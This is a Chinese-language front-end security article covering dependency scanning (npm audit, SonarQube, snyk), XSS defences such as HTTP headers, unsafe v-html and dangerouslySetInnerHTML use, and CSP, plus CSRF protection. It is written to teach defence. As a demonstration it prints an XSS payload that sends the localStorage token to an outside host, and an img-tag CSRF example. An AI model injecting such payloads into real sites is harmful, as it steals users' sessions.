隨著開發(fā)框架和平臺(tái)的不斷成熟，需要開發(fā)者考慮的安全問題越來越少，但并不是開發(fā)者就不需要關(guān)心項(xiàng)目的安全問題。linux、Tomcat等大型項(xiàng)目時(shí)不時(shí)爆出安全漏洞，把網(wǎng)絡(luò)安全話題重新拉回大眾視野。現(xiàn)代前端開發(fā)依賴node作為打包、構(gòu)建和依賴管理平臺(tái)，最近一次安全問題就是npm倉(cāng)庫(kù)中的event-stream包多了一個(gè)flatmap-stream依賴，而這個(gè)依賴項(xiàng)正在竊取開發(fā)者的數(shù)字貨幣。
就前端項(xiàng)目來說，需要考慮的安全問題相對(duì)較少，受到攻擊后的損失也不及服務(wù)器被攻擊后那么大，前端主要需要考慮的安全問題有：
npm生態(tài)下依賴的安全性。npm 非常年輕，和JAVA相比包的質(zhì)量參差不齊，也缺乏良好的審查機(jī)制，不過好在npm提供了一些安全工具幫我們審查依賴的安全問題。
XSS跨站腳本攻擊。XSS攻擊是非常常見的攻擊方式，前端開發(fā)需要日常注意，我們后面會(huì)主要討論這類攻擊。
CSRF跨站請(qǐng)求偽造攻擊。CSRF不是非常流行，目前來說容易將此類攻擊的破壞性降低到可以接受的程度。
代碼自查
開發(fā)者和攻擊者最大的不同之處在于，開發(fā)者完全擁有代碼，因此占據(jù)了主動(dòng)權(quán)。一般來說攻擊者的掃描都只能對(duì)線上產(chǎn)品進(jìn)行，如果開發(fā)者在上線之前對(duì)代碼進(jìn)行審查和掃描，可以事半功倍。
另外內(nèi)部的滲透測(cè)試也類似于模擬攻擊者來進(jìn)行掃描業(yè)界已知漏洞，而代碼層面的審查則需要開發(fā)團(tuán)隊(duì)完成。
npm audit
npm audit tool/npm 安全掃描工具
為了提高npm依賴的安全，npm 6.1 后添加了npm audit工具，這個(gè)工具可以搜索當(dāng)前項(xiàng)目中使用的依賴是否存在安全問題，并提供了npm audit fix工具修復(fù)。
它的工作原理是維護(hù)了一個(gè)已知不良依賴的名單，如果代碼中使用了直接從GitHub而不是npm倉(cāng)庫(kù)中獲取依賴，或不知名的依賴。npm audit也是無法發(fā)現(xiàn)威脅。總的來說在加入第三方依賴時(shí)，需要謹(jǐn)慎考慮，不濫用依賴在前端開發(fā)也是非常重要的。
Sonarqube
sonarqube dashboard/sonarqube 管理面板
Sonarqube應(yīng)該是今年業(yè)界最為流行的代碼審查工具了，Sonarqube使用了和其他開源軟件一樣，軟件開源服務(wù)收費(fèi)的策略。我們可以自己搭建公司內(nèi)部的代碼審查平臺(tái)，也可以直接使用sonarqube在線的掃描服務(wù)。公開服務(wù)的Sonarqube，可以直接和GitHub和Bitbucket集成，但是需要提供相應(yīng)的授權(quán)，因此使用Sonarqube需要提供倉(cāng)庫(kù)權(quán)限。
Sonarqube 中發(fā)現(xiàn)威脅只是它的功能之一。它提供了發(fā)現(xiàn) Code Smells、Bugs、Vulnerabilities三大特性，并且支持Java、JavaScript和C#等大量語(yǔ)言。如果我們僅僅需要檢查前端項(xiàng)目中代碼的安全缺陷，我們可以使用另外更加輕量級(jí)能集成到構(gòu)建腳本中的工具。
snyk
如果不想暴露倉(cāng)庫(kù)權(quán)限，并且本地掃描，可以使用snyk這類輕量級(jí)的掃描工具。其實(shí)snyk也提供類似Sonarqube一樣的平臺(tái)，但是也提供了輕量級(jí)的本地掃描。
snyk 提供了npm安裝，可以參考以下命令，簡(jiǎn)單的集成到CI中:
- npm install -g snyk
- snyk auth
- snyk test
應(yīng)對(duì)XSS攻擊
XSS 攻擊通過向頁(yè)面中注入可以執(zhí)行的JavaScript代碼，因?yàn)榭梢酝ㄟ^JavaScript在已經(jīng)登陸的用戶頁(yè)面上執(zhí)行，可以使用已經(jīng)信任用戶的身份來進(jìn)行攻擊甚至盜走用戶身份信息。 XSS分為DOM型、反射型、存儲(chǔ)型三種攻擊類型，反射型和存儲(chǔ)型服務(wù)器端可以通過過濾輸出處理，對(duì)前端項(xiàng)目來說主要針對(duì)DOM型攻擊采取安全措施。
上面這個(gè)動(dòng)圖是我假設(shè)的一個(gè)漏洞，前端代碼直接接收外部輸入，并添加到頁(yè)面上。演示攻擊者使用了一段代碼：
<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">
通過圖片觸發(fā)onerror事件的方式執(zhí)行一段JavaScript代碼片段，再讀取LocalStorage中的token，最后通過圖片Ping的方式發(fā)送到外部網(wǎng)站。這只是一段作為演示用的攻擊方式，這種注入XSS的代碼叫做 XSS payload，很多強(qiáng)大的payload在網(wǎng)絡(luò)上傳播。下面我們來討論下在開發(fā)過程中如何應(yīng)對(duì)這些攻擊。
使用HTTP頭啟用瀏覽器安全行為
瀏覽器有很多內(nèi)置的安全行為，可以防范XSS攻擊，第一步需要做的是在上線時(shí)合理配置服務(wù)器環(huán)境，這是一種性價(jià)比很高的方式。使用Nginx或者Apache輸入相應(yīng)頭信息不是一件特別難的事，這里有一個(gè)checklist，分別說明了一些必要的HTTP頭和用途。
checklist
下面演示一個(gè)HTTP only的例子，即使XSS攻擊成功，也無法盜走token：
避免框架中的危險(xiǎn)特性
現(xiàn)代前端開發(fā)中使用了一般基于常用的框架開發(fā)，框架提供了很多安全特性在輸入內(nèi)容到DOM避免了XSS注入，但是如果不當(dāng)使用，也會(huì)有一些風(fēng)險(xiǎn)。框架為了提供更大的靈活性往往允許原生的html內(nèi)容被添加到DOM中并提供了對(duì)應(yīng)API，但基本上也會(huì)在文檔中說明。
Vue的v-html指令。 Vue的明確提示使用該指令的前提是信任輸入內(nèi)容，但是大量項(xiàng)目使用了此指令，甚至從URL上獲取的部分內(nèi)容。下面圖片中的使用方式在項(xiàng)目中很常見，但是如果使用xss payload很容易像上面演示的那樣被xss注入攻擊。
v-html brings security issue/ v-html屬性會(huì)引發(fā)安全問題
dangerouslySetInnerHTML。React中提供了類似的機(jī)制，不過在API的名稱上非常醒目，原理上和Vue類似，不再贅述。
另外一種不當(dāng)使用框架的例子是，讀取原生 DOM 并添加內(nèi)容的行為，這種行為不僅對(duì)項(xiàng)目架構(gòu)造成破壞，帶來維護(hù)性的困難，而且會(huì)存在XSS注入的風(fēng)險(xiǎn)。
啟用CSP瀏覽器安全策略
在銀行和金融類項(xiàng)目，對(duì)安全要求非常重視。大家都知道的一個(gè)例子是銀行項(xiàng)目都實(shí)現(xiàn)了自己的鍵盤輸入控件，目的是防止操作系統(tǒng)的鍵盤Hook，這個(gè)超出前端開發(fā)需要考慮的內(nèi)容。另外一個(gè)方法是啟用CSP瀏覽器內(nèi)容安全策略，對(duì)加載到頁(yè)面上的內(nèi)容進(jìn)一步限制，并且CSP還提供了異常報(bào)告的機(jī)制。
Mozilla的CSP定義
“內(nèi)容安全策略 (CSP) 是一個(gè)額外的安全層，用于檢測(cè)并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等”
通俗的來說，CSP就是通過HTTP頭部 Content-Security-Policy或者HTML meta標(biāo)簽定義一系列白名單規(guī)則，限制頁(yè)面上腳本的執(zhí)行和資源的加載來源，例如不允許執(zhí)行內(nèi)聯(lián)代碼（<script>塊內(nèi)容，內(nèi)聯(lián)事件，內(nèi)聯(lián)樣式），禁止執(zhí)行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ，達(dá)到進(jìn)一步限制頁(yè)面腳本的目的。例如：
Content-Security-Policy：default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP 策略包括多個(gè)指令和指令值組成：
csp指令
CSP 策略
CSP 策略中有一個(gè)特別的指令report-uri可以配置頁(yè)面上違規(guī)后的報(bào)告，一旦瀏覽器檢測(cè)到違規(guī)的資源加載，瀏覽器會(huì)發(fā)送一個(gè)JSON數(shù)據(jù)包到指定服務(wù)器。
應(yīng)對(duì)CSRF攻擊
CSRF攻擊者在用戶已經(jīng)登陸目標(biāo)網(wǎng)站后，誘導(dǎo)用戶訪問一個(gè)攻擊頁(yè)面，利用用戶已經(jīng)獲取的權(quán)限，發(fā)起偽造的請(qǐng)求。
舉個(gè)例子:
假設(shè)GitHub提供了一個(gè)給倉(cāng)庫(kù)加星的接口，htttps://github.com/{repositoryName}/star 而且這個(gè)接口使用了GET方法，當(dāng)然GitHub不會(huì)這樣做。
這樣攻擊者就可以在GitHub上Readme文件中中增加一張圖片：
<img src="htttps://github.com/{repositoryName}/star" />
當(dāng)用戶瀏覽到這個(gè)倉(cāng)庫(kù)的時(shí)候就會(huì)給該倉(cāng)庫(kù)增加一個(gè)星。
因此業(yè)界通常的做法是避免使用GET操作對(duì)數(shù)據(jù)資源的修改，使用POST時(shí)增加一個(gè)一次性的token。
如果Spring boot中使用Spring security，會(huì)有默認(rèn)的 CsrfFilter，只需要注冊(cè)CsrfFilter即可啟用CSRF機(jī)制。客戶端對(duì)相同的Restful資源發(fā)出POST請(qǐng)求之前需要首先從GET方法得到一個(gè)一次性的token，否則會(huì)得到一個(gè)403錯(cuò)誤。
其他
實(shí)際項(xiàng)目中我們還有其他的一些安全措施：
例如加密代碼中的密碼等敏感信息，加密本身對(duì)前端來說意義不大，但是可以增加攻擊者反向分析代碼的難度，屏蔽代碼中可以直接搜索到的關(guān)鍵字，例如Login、Password等字符串。
另外也要防止程序報(bào)錯(cuò)后意外暴露一些信息給用戶，面對(duì)各種各樣的異常，用戶不可能主動(dòng)也沒有能力報(bào)告錯(cuò)誤，我們可以通過使用sentry.io之類的一些工具收集控制臺(tái)報(bào)錯(cuò)信息 。
最后這個(gè)世界上沒有絕對(duì)的安全，即使CSP這類極其嚴(yán)格的策略都有可能被繞過，前端開發(fā)中安全也需要考慮成本，應(yīng)該選用性價(jià)比高的安全策略。安全也不是獨(dú)立的，應(yīng)該和服務(wù)器、甚至操作系統(tǒng)層面聯(lián)合考慮，例如后端提供的資源應(yīng)該是通過ID不可枚舉的，上傳文件的時(shí)候也應(yīng)該嗅探內(nèi)容和MIME信息決定文件類型。
參考鏈接：
- https://github.com/jshanson7/npm-audit/blob/master/blacklist.json
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
- 業(yè)界安全組織 OSSTM, OWASP, TCSEC
文/ThoughtWorks林寧
